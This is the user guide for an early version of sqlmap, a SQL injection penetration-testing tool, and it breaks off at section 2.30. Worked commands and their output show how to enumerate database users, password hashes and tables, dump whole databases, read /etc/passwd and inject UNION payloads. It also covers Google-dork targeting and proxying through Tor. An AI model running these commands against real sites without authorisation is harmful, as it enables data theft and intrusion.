sqlmap: a SQL injection tool

by Bernardo Damele sqlmap version 0.5, 4th of November 2007

This document is the user's guide to sqlmap .

Contents

1 Introduction

sqlmap is an automatic SQL injection tool. It is capable to perform an extensive database management system back-end fingerprint, retrieve remote DBMS databases, usernames, tables, columns, enumerate entire DBMS, read system files and much more taking advantage of web application programming security flaws that lead to SQL injection vulnerabilities.

There are many other SQL injection tools on the Net, but I could not find anyone that fits all of my needs so I felt the need during my penetration tests to write my own tool to successfully test, identify and exploit web applications' SQL injection security vulnerabilities.

1.1 Requirements

sqlmap is entirely developed in Python , a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system. Actually sqlmap depends only on Python interpreter which is freely downloadable from its official site . To make it even easier, many GNU/Linux distributions come out of the box with Python package preinstalled and other Unices provide this interpreted language precompiled into their package format. If you use Windows or MacOS X there exist the precompiled setup-ready official executable on Python site.

1.2 Web application scenario

Let's say you are auditing the security of a web application and you found a web page that accepts dynamic user-provided values to its GET and/or POST parameters. You now want to test if these are vulnerable to a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application's database management system or even be able to read arbitrary files from the database management system computer

If the web page is:

```
http://192.168.1.47/page.php?id=1&cat=2
```

supposing that:

```
http://192.168.1.47/page.php?id=1+AND+1=1&cat=2
```

is the same page as the original one and:

```
http://192.168.1.47/page.php?id=1+AND+1=2&cat=2
```

differs from the original output it means that we are in front of a SQL injection vulnerability in the `id` GET parameter of the `index.php` web application page which means that no IDS/IPS, no web application firewall, no parameters' value sanitization is performed at the server-side nor PHP interpreter-side.

This is a quite common flaw in dynamic content web applications and it does not depend on the remote DBMS or on the web application language, it is a programmer code's security flaw. The Open Web Application Security Project recently rated in their OWASP Top Ten this vulnerability as the most common and important web application vulnerability, second only to Cross-Site Scripting issue.

Back to the scenario, probably the `SELECT` statemenet into `index.php` has a syntax similar to the following SQL query in pseudo PHP:

```
$query = "SELECT <column(s) name> FROM <table name> WHERE id=" .  $_REQUEST['id'];
```

So, as you can see, appending any other syntatically valid SQL condition after a (valid) value for `id` such condition will take place when the web application execute the query on the attached DBMS, that is why the condition `id=1 AND 1=1` is valid (*True*) and return the same page as the original, with the same content and without any weird SQL error message.

More, in this example it would be also possible to append, not just one or more valid SQL condition(s), but also another complete SQL query, just requesting something like in pseudo-code `id=1; ANOTHER SQL QUERY-`

Now that we found this SQL injection vulnerable parameter, we can exploit it manipulating the `id` parameter value.

Passing the original address, `http://192.168.1.47/page.php?id=1&cat=2` to sqlmap, the tool will automatically identify the vulnerable parameter (`id` in this scenario) and append a syntatically valid SQL statement string containing a `SELECT` sub-statement or any other statement we want to retrieve the output. By making a comparison based upon HTML page hashes, strings or regular expressions match of every requested page with the original one, sqlmap will determine the output value of the statement character by character, this technique takes the name of **blind SQL injection** and is well described in many papers, check the References section for some more technical papers.

1.3 SQL injection techniques

With the bisection algorithm implemented in sqlmap to perform this kind of attack known as **blind SQL injection** this is achieved with approximately seven HTTP requests per each character of the output, but if the web application page code parses the output of the `SELECT` statement into a `for` or similar cycle so that each line of the query output is printed on the page content, we are in front of an **inband SQL injection vulnerability**, also known as *UNION query SQL injection* vulnerability. I strongly advise you to

run at least once sqlmap with the `-union-check` command line option to test so and in case use `-union-use` command line option to exploit this vulnerability because it saves a lot of time and it does not weight down the web server log file with hundreds of HTTP requests.

1.4 Features

Here is a list of major features implemented in sqlmap:

- Full support for **MySQL**, **Oracle**, **PostgreSQL** and **Microsoft SQL Server** database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase;
- **Extensive database management system back-end fingerprint** based upon:
  - Inband DBMS error messages
  - DBMS banner parsing
  - DBMS functions output comparison
  - DBMS specific features such as MySQL comment injection
  - Passive SQL injection fuzzing
- It automatically tests all provided **GET**, **POST**, **Cookie** and **User-Agent** parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for *numeric*, *single quoted string*, *double quoted string* and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with;
- It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them *GET*, *POST*, *Cookie* parameters;
- SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end;
- It recognizes valid queries by false ones based upon **HTML output page hashes comparison** by default, but it is also possible to choose to perform such test based upon **string matching**;
- HTTP requests can be performed in both HTTP method `GET` and `POST` (default: `GET`);
- It is possible to perform HTTP requests using a HTTP `User-Agent` header string randomly selected from a text file;
- It is possible to provide a HTTP `Cookie` header string, useful when the web application requires authentication based upon cookies and you have such data;
- It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL;
- It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it;
- It supports various command line options to get **database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated**;

- It is possible to make sqlmap automatically detect if the affected parameter is also affected by an **UNION query SQL injection** and, in such case, to use it to exploit the vulnerability;
- It is possible to **exclude system databases when enumerating tables**, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data;
- It is possible to view the **Estimated time of arrival** for each query output, updated in real time while performing the SQL injection attack;
- Support to increase the **verbosity level of output messages**;
- It is possible to save queries performed and their retrieved value in real time on an output text file and **continue the injection resuming from such file in a second time**;
- PHP setting `magic_quotes_gpc` bypass by encoding every query string, between single quotes, with `CHAR` (or similar) DBMS specific function.

1.5 Download and update sqlmap

This guide is part of sqlmap. You should have received it when you downloaded sqlmap.

sqlmap can be downloaded from its SourceForge File List page and the development release from its SourceForge Subversion repository that can be surfed with the web browser or accessed to download sqlmap:

```
$ svn checkout https://sqlmap.svn.sourceforge.net/svnroot/sqlmap sqlmap
```

Whatever way you downloaded sqlmap, just run `svn update` in its root directory (where there is the main file, `sqlmap.py`) to synchronize with the SVN repository retrieving its source code updates on your working copy to assure that you are going to run the latest version of the program.

Further information about the usage of SourceForge Subversion repository can be found here .

1.6 License

sqlmap is released under the terms of the General Public License v2 .

2 Usage

The only two possible mandatory parameters are:

- **-u** or **–url**: single target URL to test, detect and inject for SQL injection flaws
- **-g**: test all Google results searching for a specific Google dork

These are the only two command line parameters that exclude eachother.

Follows sqlmap command line parameters and values explained in details with an example for each parameter.

2.1 Help

```
$ python sqlmap.py -h

    sqlmap/X.Y coded by inquis <bernardo.damele@gmail.com>
                    and belch <daniele.bellucci@gmail.com>

Usage: sqlmap.py [options] {-u <URL> | -g <google dork>}

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     target url
  -p TESTPARAMETER      specify the testable parameter(s)
  -g GOOGLEDORK         rather than providing a target url, let Google return
                        target hosts as result of your Google dork expression
  --method=HTTPMETHOD   HTTP method, GET or POST (default: GET)
  --data=DATA           data string to be sent through POST
  --cookie=COOKIE       HTTP Cookie header
  --user-agent=UAGENT   HTTP User-Agent header
  -a USERAGENTSFILE     load a random HTTP User-Agent header from file
  --basic-auth=BAUTH    HTTP Basic Authentication, value: 'username:password'
  --digest-auth=DAUTH   HTTP Digest Authentication, value: 'username:password'
  --proxy=PROXY         use a proxy to connect to the target url
  --string=STRING       string to match in page when the query is valid
  --remote-dbms=DBMS    perform checks only for this specific DBMS
  -f, --fingerprint     perform an exaustive database fingerprint
  -b, --banner          get DBMS banner
  --current-user        get current DBMS user
  --current-db          get current DBMS name
  --users               get DBMS users
  --passwords           get DBMS users password hashes
  --dbs                 get available databases
  --tables              get database tables (optional: -D)
  --columns             get table columns (required: -T and -D)
  --dump                dump database table entries (required: -T and -D
                        optional: -C)
  --dump-all            dump all databases tables entries
  --file=FILENAME       read a specific file content
  -e EXPRESSION         expression to evaluate
  --union-check         check for UNION SELECT statement
  --union-use           use the UNION SELECT statement to retrieve the queries
                        output
  -D DB, --database=DB  database to enumerate
  -T TBL, --table=TBL   database table to enumerate
  -C COL, --column=COL  database table column to enumerate
  --exclude-sysdbs      exclude system databases when enumerating tables
  --eta                 retrieve each query length and calculate the estimated
                        time of arrival
  -v VERBOSE            set verbosity level (0-2), default is 0
  -o OUTPUTFILE         save all data retrieved on a text file
  -r, --resume          resume queries value from a text file
```

2.2 Target URL

Command line option: `-u` or `-url`

To run sqlmap on a single target URL:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2"

remote DBMS:    MySQL >= 5.0.0
```

2.3 Target URL and verbosity

Command line option: `-v`

Verbose options can be used to set the verbosity level of output messages. Actually its value can be *0*, *1* or *2*. By default its value is *0* because sqlmap will not print any informational message to standard output, only queries output and eventually warning and errors if they occur.

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1

[hh:mm:25] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:26] [INFO] url is stable
[hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:26] [INFO] GET parameter 'id' is dynamic
[hh:mm:26] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:26] [INFO] testing MySQL
[hh:mm:26] [INFO] query: CONCAT('5', '5')
[hh:mm:26] [INFO] retrieved: 55
[hh:mm:26] [INFO] performed 20 queries in 0 seconds
[hh:mm:26] [INFO] confirming MySQL
[hh:mm:26] [INFO] query: LENGTH('5')
[hh:mm:26] [INFO] retrieved: 1
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
[hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:26] [INFO] retrieved: 5
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
remote DBMS:    MySQL >= 5.0.0
```

2.4 URL parameter

Command line option: `-p`

By default sqlmap tests all GET and POST provided parameters for dynamicity and SQL injection vulnerability, but it is possible to manually specificy the URL parameter(s) you want sqlmap to perform tests on comma separeted in order to skip dynamicity tests and perform SQL injection test, detection and exploiting only on the provided parameter(s):

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id"

[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
```

```
[hh:mm:18] [INFO] url is stable
[hh:mm:18] [INFO] testing sql injection on parameter 'id'
[hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id'
[hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id'
[hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable
[...]
```

Or if you want to provide more than one parameter, for instance:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id"
```

2.5 Google dork

Command line option: `-g`

Rather than providing a target URL it is also possible to perform tests on parameters on the addresses returned by a Google dork search.

This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and get advantage of SQL injection on each possible affected URL.

```
$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1

[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:39] [INFO] sqlmap got 'PREF=ID=xxxxxxxxxxxxxxx:TM=yyyyyyyyyy:LM=zzzzzzzzzz:S=wwwwwwwwwwwwwww' as
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are testable hosts
[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this url? [y/N/q] n
[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this url? [y/N/q] n
[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you want to test
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
```

2.6 HTTP method: GET or POST

Command line option: `-method`

By default the HTTP method used to perform HTTP requests is `GET`, but it is possible to change it at command line `-method` parameter value:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"
```

This way the parameters and their value will be passed by HTTP POST method, including eventually the one vulnerable with a SQL query injected into (`id` in our scenario).

2.7 POSTed data string

Command line option: `-data`

This command line option is used to specify the data string you want to send through the HTTP POST method to perform tests on. Read the paragraph above for further details.

2.8 HTTP Cookie header

Command line option: `-cookie`

This feature is useful when, for instance, the web application requires authentication based on cookies and you have such data. The steps to go through in this case are similar to:

On Firefox web browser login on the web authentication form while dumping URL requests with TamperData browser extension. In the horizontal box of the extension select your authentication transaction then in the left box below click with the right button on the `Cookie` value, then click on `Copy`.

Now go back to your shell and run sqlmap:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE"
```

2.9 HTTP User-Agent header

Command line option: `-user-agent`

TODO

2.10 Random HTTP User-Agent header

Command line option: `-a`

By default sqlmap perform HTTP requests providing the following HTTP User-Agent header:

```
sqlmap/VERSION (http://sqlmap.sourceforge.net)
```

Providing a text file, `./txt/user-agents.txt` or any other file containing a list of at least one user agent, to the `-a` command line option, sqlmap will select a random User-Agent from the file and use it for all HTTP requests to the URL:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -a "./txt/user-agents.txt"

[hh:mm:41] [INFO] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:41] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:41] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:42] [INFO] url is stable
[...]
```

2.11 HTTP authentication

Command line options: `-basic-auth` and `-digest-auth`

These options can be used to specify which authentication method the web server implements and the valid credentials to be used to perfom all HTTP requests to the target URL:

In case of *HTTP Basic authentication* run:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --basic-auth "username:password"
```

Otherwise if *HTTP Digest authentication* is implemented run:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --digest-auth "username:password"
```

2.12 HTTP proxy

Command line option: `-proxy`

It is possible to provide an anonymous HTTP proxy address to pass by all requests to the target URL:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://url:port"
```

Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine like explained on the Tor Client guide then run sqlmap as follows:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118"
```

Note that `8118` is the default Privoxy port, adapt to your settings.

2.13 String match

Command line option: `-string`

By default the distinction of a True query by a False one (basement concept for standard blind SQL injection attacks) is done comparing injected pages output MD5 hash with the original not-injected page output MD5 in sqlmap. sqlmap make it possible to manually provide a string which is **always** present on a True injected query output pages, and it is not on False one. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original output with the wrong output to identify which string is on True page only. This way the distinction will be based upon string match and not page hash comparison:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE"
```

Note that when this command line option is specified, sqlmap will skip the URL stability test and consider this option essential when you have to do with a page which content changes, for instance, at each refresh.

2.14 Remote Database Management System

Command line option: `-remote-dbms`

By default sqlmap automatically detects the remote database manangement system back-end of the web application. At the moment the fully supported DBMS are **MySQL**, **Oracle**, **PostgreSQL** and **Microsoft SQL Server**. It is possible to manually provide the remote DBMS from command line. If you provide such option, sqlmap will not perform any DBMS fingerprint with an exception for MySQL to only identify if it is MySQL < 5.0 or MySQL $>= 5.0$. To avoid also this check you can provide instead `MySQL 4` or `MySQL 5`.

Note that this option is not mandatory and it is better if you use it only if you are absolutely sure about the remote DBMS. If you do not know it, let sqlmap identify it for you.

In case you provide `-fingerprint` together with `-remote-dbms`, sqlmap will only perform the extensive fingerprint for the specified database management system, read the paragraph below for details on it.

2.15 Extensive DBMS fingerprint

Command line option: `-f` or `-fingerprint`

By default the web application database management system back-end fingerprint is performed requesting a database specific function which returns a known static value. By comparing this value with the return value it is possible to identify if the remote database is effectively the one the program just tested for or not. At first fingerprint check sqlmap recognizes the remote database and performs the rest of queries with its specific syntax within the limits of the database architecture. If you want to perform a more accurate database fingerprint you can provide the `-fingerprint` option:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f

[...]
[hh:mm:31] [INFO] testing MySQL
[hh:mm:31] [INFO] query: CONCAT('4', '4')
[hh:mm:31] [INFO] retrieved: 44
[hh:mm:31] [INFO] performed 20 queries in 0 seconds
[hh:mm:31] [INFO] confirming MySQL
[hh:mm:31] [INFO] query: LENGTH('4')
[hh:mm:31] [INFO] retrieved: 1
[hh:mm:31] [INFO] performed 13 queries in 0 seconds
[hh:mm:31] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:31] [INFO] retrieved: 4
[hh:mm:31] [INFO] performed 13 queries in 0 seconds
[hh:mm:31] [INFO] query: DATABASE()
[hh:mm:31] [INFO] retrieved: testdb
[hh:mm:31] [INFO] performed 48 queries in 0 seconds
[hh:mm:31] [INFO] query: SCHEMA()
[hh:mm:31] [INFO] retrieved: testdb
[hh:mm:32] [INFO] performed 48 queries in 0 seconds
[hh:mm:32] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:32] [INFO] retrieved:
[hh:mm:32] [INFO] performed 6 queries in 0 seconds
[hh:mm:32] [INFO] executing MySQL comment injection fingerprint
[hh:mm:32] [INFO] executing passive fuzzing to retrieve DBMS error messages
remote DBMS:    active fingerprint: MySQL >= 5.0.2 and < 5.1
                comment injection fingerprint: MySQL 5.0.38
                html error message fingerprint: MySQL
```

If you want an even more accurate database fingerprint, based also on banner parsing, you can also provide the `-b` or `-banner` option:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f -b

[...]
[hh:mm:45] [INFO] testing MySQL
[hh:mm:45] [INFO] query: CONCAT('4', '4')
[hh:mm:45] [INFO] retrieved: 44
[hh:mm:45] [INFO] performed 20 queries in 0 seconds
[hh:mm:45] [INFO] confirming MySQL
[hh:mm:45] [INFO] query: LENGTH('4')
[hh:mm:45] [INFO] retrieved: 1
[hh:mm:45] [INFO] performed 13 queries in 0 seconds
[hh:mm:45] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
```

```
[hh:mm:45] [INFO] retrieved: 4
[hh:mm:45] [INFO] performed 13 queries in 0 seconds
[hh:mm:45] [INFO] query: DATABASE()
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:45] [INFO] performed 48 queries in 0 seconds
[hh:mm:45] [INFO] query: SCHEMA()
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:46] [INFO] performed 48 queries in 0 seconds
[hh:mm:46] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:46] [INFO] retrieved:
[hh:mm:46] [INFO] performed 6 queries in 0 seconds
[hh:mm:46] [INFO] query: VERSION()
[hh:mm:46] [INFO] retrieved: 5.0.38-Ubuntu_0ubuntu1.1-log
[hh:mm:47] [INFO] performed 202 queries in 0 seconds
[hh:mm:47] [INFO] executing MySQL comment injection fingerprint
[hh:mm:47] [INFO] executing passive fuzzing to retrieve DBMS error messages
remote DBMS:    active fingerprint: MySQL >= 5.0.2 and < 5.1
                comment injection fingerprint: MySQL 5.0.38
                banner parsing fingerprint: MySQL 5.0.38, logging enabled
                html error message fingerprint: MySQL
[...]
```

2.16 Banner

Command line option: `-b` or `-banner`

Most of databases have a function or a system variable which shows database managemet system version details. Usually this function is `version()` or a system variable called `@@version`.

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b

banner:    '5.0.38-Ubuntu_0ubuntu1.1-log'
```

2.17 Current user

Command line option: `-current-user`

It is possible to enumerate the name of the database management system user which is effectively performing the query on the database from the web application:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-user

current user:   'testuser@%'
```

2.18 Current database

Command line option: `-current-db`

It is possible to enumerate the name of the database the web application is connected to:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db

current database:       'testdb'
```

2.19 Database users

Command line option: `-users`

It is possible to enumerate the list of database management system users:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users

database management system users [5]:
[*] debian-sys-maint
[*] root
[*] testuser
```

2.20 Database users password hashes

Command line option: `-passwords`

It is possible to enumerate the list of database management system users password hashes:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --passwords

database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: XXXXXXXXXXXXXXXX
[*] root [2]:
    password hash: YYYYYYYYYYYYYYYY
    password hash:
[*] testuser [2]:
    password hash: ZZZZZZZZZZZZZZZZ
    password hash: ZZZZZZZZZZZZZZZZ
```

2.21 Available databases

Command line option: `-dbs`

It is possible to enumerate the list of databases:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs

available databases [3]:
[*] information_schema
[*] mysql
[*] testdb
```

2.22 Database tables

Command line option: `-tables`

It is possible to enumerate the list of tables for a specific database or for the entire database manangement system (on MySQL, PostgreSQL and Oracle). The option `-D` can be used to specify the database name.

To enumerate, for instance, the tables of database `information_schema` run the following command:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema"
```

```
Database: information_schema
[16 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLLATIONS                            |
| COLUMN_PRIVILEGES                     |
| COLUMNS                               |
| KEY_COLUMN_USAGE                      |
| ROUTINES                              |
| SCHEMA_PRIVILEGES                     |
| SCHEMATA                              |
| STATISTICS                            |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLES                                |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+
```

2.23 Database table columns

Command line option: `-columns`

It is possible to enumerate the list of columns of a specific database table. This feature depends on both `-T` to specify the table name and `-D` to specify the database name.

To enumerate, for instance, the table `user` columns on database `mysql` run the following command:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --columns -T "user" -D "mysql"

Database: mysql
Table: user
[37 columns]
+-----------------------+------+
| Column                | Type |
+-----------------------+------+
| Alter_priv            | enum |
| Alter_routine_priv    | enum |
| Create_priv           | enum |
| Create_routine_priv   | enum |
| Create_tmp_table_priv | enum |
| Create_user_priv      | enum |
| Create_view_priv      | enum |
| Delete_priv           | enum |
| Drop_priv             | enum |
| Execute_priv          | enum |
| File_priv             | enum |
| Grant_priv            | enum |
| Host                  | char |
| Index_priv            | enum |
| Insert_priv           | enum |
| Lock_tables_priv      | enum |
```

```
| max_connections       | int  |
| max_questions         | int  |
| max_updates           | int  |
| max_user_connections  | int  |
| Password              | char |
| Process_priv          | enum |
| References_priv       | enum |
| Reload_priv           | enum |
| Repl_client_priv      | enum |
| Repl_slave_priv       | enum |
| Select_priv           | enum |
| Show_db_priv          | enum |
| Show_view_priv        | enum |
| Shutdown_priv         | enum |
| ssl_cipher            | blob |
| ssl_type              | enum |
| Super_priv            | enum |
| Update_priv           | enum |
| User                  | char |
| x509_issuer           | blob |
| x509_subject          | blob |
+-----------------------+------+
```

2.24 Dump database tables entries

Command line option: `-dump`

It is possible to enumerate the entries of specific database table columns. This feature depends on both `-T` to specify the table name and `-D` to specify the database name. Optionally it is possible to provide a comma separated list of specific columns with the `-C` option.

To enumerate, for instance, the entries of table `users` of database `testdb` run the following command:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dump -T "users" -D "testdb"

Database: testdb
Table: users
[3 entries]
+----+--------+---------+
| id | name   | surname |
+----+--------+---------+
| 1  | luther | blisset |
| 3  | fluffy | bunny   |
| 2  | wu     | ming    |
+----+--------+---------+
```

If you want to enumerate only the entries of within columns `id` and `surname` of the same database table (testdb.users run the following command:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dump -T "users" -D "testdb" -C "id,surna

Database: testdb
Table: users
[3 entries]
+----+---------+
```

```
| id | surname |
+----+---------+
| 1  | blisset |
| 2  | ming    |
| 3  | bunny   |
+----+---------+
```

Note that sqlmap also stores for each table the dumped entries in a CSV format on a text file into the './csv/' directory:

```
$ cat ./csv/192.168.1.47/testdb/users.csv
"id","surname"
"1","blisset"
"2","ming"
"3","bunny"
```

2.25 Dump entire DBMS

Command line option: `-dump-all`

It is possible to enumerate the entire DBMS data: all databases tables entries.

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dump-all
```

2.25.1 Exclude system databases

If you want to exclude DBMS default system databases append also `-exclude-sysdbs` to the command line as follows:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --dump-all --exclude-sysdbs

[...]
[hh:mm:54] [INFO] fetching database names
[...]
[hh:mm:55] [INFO] skipping system database 'information_schema'
[hh:mm:55] [INFO] skipping system database 'mysql'
[hh:mm:55] [INFO] fetching number of tables for database 'testdb'
Database: testdb
Table: users
[3 entries]
+----+--------+---------+
| id | name   | surname |
+----+--------+---------+
| 1  | luther | blisset |
| 2  | wu     | ming    |
| 3  | fluffy | bunny   |
+----+--------+---------+
```

2.26 Retrieve a file content

Command line option: `-file`

It is possible to read the content of a specific file from the remote database system file system if there is a DBMS function to perform such action and the current user has access to it, for instance MySQL has `LOAD_FILE()` function.

If you want to retrieve the content of `/etc/passwd` run the following command:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file /etc/passwd

/etc/passwd:
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash
---
```

2.27 Process your own expression

Command line option: `-e`

It is possible to provide your own SQL query with the `-e` parameter to be executed. For instance, if you want to get the password hash of the 'root' username on a remote MySQL database you can run:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user W

[hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0
[hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1
[hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY
[hh:mm:19] [INFO] performed 118 queries in 0 seconds
SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1:    'YYYYYYYYYYYYYYYY'
```

2.28 Check for UNION query SQL injection

Command line option: `-union-check`

It is possible to check if the target URL is affected by an `inband SQL injection` (read above for details) vulnerability by running:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union-check

valid union:    'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2'
```

In this case the target URL parameter `id` might be also affected by an inband SQL injection, also known as UNION query SQL injection. In case this vulnerability is exploitable you can use it to save a lot of time and requests to get any query output. Read the next paragraph for details.

2.29 Exploit the UNION query SQL injection

Command line option: `-union-use`

Providing the `-union-use` parameter, sqlmap will first check if the target URL is affected by an inband SQL injection (`-union-check`) vulnerability then, in case it is vulnerable and exploitable, it will trigger this vulnerability to retrieve the output of your queries.

For instance if you want to exploit the UNION query SQL injection to retrieve the DBMS banner, with only one single HTTP request run the following command:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --union-use --banner

[...]
[hh:mm:24] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:24] [INFO] confirming inband sql injection on parameter 'id'
[...]
[hh:mm:24] [INFO] fetching banner
[hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,8
[hh:mm:24] [INFO] performed 1 queries in 0 seconds
banner:    '5.0.38-Ubuntu_0ubuntu1.1-log'
```

As you can see, in our scenario, the SQL injection vulnerable parameter (`id`) affected by both blind and inband SQL injection vulnerabilities.

2.30 Estimated time of arrival

